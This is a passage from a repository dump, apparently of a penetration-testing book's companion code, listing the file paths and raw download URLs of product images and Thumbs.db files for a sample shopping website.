https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/AddToCart.gif -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/FeaturedProducts.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/FeaturedProducts.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/FeaturedProducts1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/FeaturedProducts1.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/NewsBanner.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/NewsBanner.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/Thumbs.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/Thumbs.db -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/backgrounds/Thumbs.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/backgrounds/Thumbs.db -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/backgrounds/black_brown.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/backgrounds/black_brown.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/backgrounds/prem_top_bg1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/backgrounds/prem_top_bg1.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/backgrounds/rew_un_top1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/backgrounds/rew_un_top1.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/backgrounds/round.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/backgrounds/round.png -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/backgrounds/rs_logo_deko_big.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/backgrounds/rs_logo_deko_big.png -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/backgrounds/st_top_fl4.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/backgrounds/st_top_fl4.gif -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/backgrounds/top_green.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/backgrounds/top_green.png -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/backgrounds/top_green_2.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/backgrounds/top_green_2.gif -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/backgrounds/white-background-home-top.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/backgrounds/white-background-home-top.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/computer/Acer-Aspire-5336.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/computer/Acer-Aspire-5336.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/computer/Acer-Extensa-5620.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/computer/Acer-Extensa-5620.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/computer/Asus-1015.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/computer/Asus-1015.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/computer/Dell-380 MT.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/computer/Dell-380 MT.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/computer/Dell-4700C.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/computer/Dell-4700C.gif -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/computer/Dell-Inspiron-15R-N5010.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/computer/Dell-Inspiron-15R-N5010.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/computer/Dell-XPS-One.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/computer/Dell-XPS-One.gif -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/computer/Dell.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/computer/Dell.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/computer/Dell_GX270.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/computer/Dell_GX270.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/computer/Dell_Studio_17.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/computer/Dell_Studio_17.gif -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/computer/HP-9100.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/computer/HP-9100.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/computer/HP-Pavilion-DV6.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/computer/HP-Pavilion-DV6.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/computer/HP-Pavilion.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/computer/HP-Pavilion.gif -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/computer/Lenovo-30113HU.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/computer/Lenovo-30113HU.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/computer/Lenovo-C315.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/computer/Lenovo-C315.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/computer/Lenovo-Essential.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/computer/Lenovo-Essential.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/computer/Lenovo-IdeaCenter-A700.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/computer/Lenovo-IdeaCenter-A700.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/computer/Lenovo-IdeaPad-U260.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/computer/Lenovo-IdeaPad-U260.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/computer/Lenovo-IdeaPad-Y560.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/computer/Lenovo-IdeaPad-Y560.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/computer/Lenovo-M58.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/computer/Lenovo-M58.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/computer/Lenovo-ThinkCentre-A57.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/computer/Lenovo-ThinkCentre-A57.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/computer/Lenovo-Thinkpad-X100E.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/computer/Lenovo-Thinkpad-X100E.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/computer/Lenovo-W700.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/computer/Lenovo-W700.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/computer/Lenovo_G450.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/computer/Lenovo_G450.gif -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/computer/Sony_Vaio_FW260J.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/computer/Sony_Vaio_FW260J.gif -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/computer/Thumbs.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/computer/Thumbs.db -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/computer/acer.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/computer/acer.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/computer/asus.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/computer/asus.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/computer/hp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/computer/hp.png -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/computer/hp_dx2000.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/computer/hp_dx2000.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/computer/lenovo.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/computer/lenovo.gif -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/dod.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/dod.gif -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/dod1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/dod1.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/electronics/HDTV.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/electronics/HDTV.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/electronics/HomeTheater.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/electronics/HomeTheater.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/electronics/Samsung-Home-Theater-HT.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/electronics/Samsung-Home-Theater-HT.gif -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/electronics/Sony-Bravia-KDL-52EX700.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/electronics/Sony-Bravia-KDL-52EX700.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/electronics/Sony-HT-SF2300.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/electronics/Sony-HT-SF2300.gif -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/electronics/Sony-XBR60LX900.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/electronics/Sony-XBR60LX900.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/electronics/Thumbs.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/electronics/Thumbs.db -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/electronics/sony.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/electronics/sony.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/footerbg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/footerbg.png -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/headerbg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/headerbg.png -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/hot_deals.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/hot_deals.png -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/hot_deals1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/hot_deals1.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/mobile/Nokia-5800-XpressMusic.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/mobile/Nokia-5800-XpressMusic.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/mobile/Nokia-C7.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/mobile/Nokia-C7.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/mobile/Nokia-E71.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/mobile/Nokia-E71.gif -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/mobile/Nokia-N900.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/mobile/Nokia-N900.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/mobile/Nokia_N8.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/mobile/Nokia_N8.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/mobile/SE-C901.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/mobile/SE-C901.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/mobile/SE-Vivaz-Pro.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/mobile/SE-Vivaz-Pro.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/mobile/SE-W995.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/mobile/SE-W995.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/mobile/SE-Zylo.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/mobile/SE-Zylo.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/mobile/SE_Aino.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/mobile/SE_Aino.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/mobile/SE_Aino_U10i_Big.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/mobile/SE_Aino_U10i_Big.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/mobile/SE_Xperia_10.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/mobile/SE_Xperia_10.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/mobile/Samsung-Galaxy-S.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/mobile/Samsung-Galaxy-S.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/mobile/Samsung-Wave.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/mobile/Samsung-Wave.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/mobile/Thumbs.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/mobile/Thumbs.db -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/mobile/apple-iphone.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/mobile/apple-iphone.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/mobile/iPhone-3G.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/mobile/iPhone-3G.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/mobile/iPhone-3GS.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/mobile/iPhone-3GS.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/mobile/iPhone-4.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/mobile/iPhone-4.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/mobile/nokia.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/mobile/nokia.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/mobile/samsung.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/mobile/samsung.png -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/mobile/sonyericsson.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/mobile/sonyericsson.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/music/Apple-iPod.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/music/Apple-iPod.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/music/Coby-MP-705-1GB.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/music/Coby-MP-705-1GB.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/music/Sony-NWZ-E345-16-GB.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/music/Sony-NWZ-E345-16-GB.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/music/Thumbs.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/music/Thumbs.db -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/music/iPod-Nano.jpg: -------------------------------------------------------------------------------- 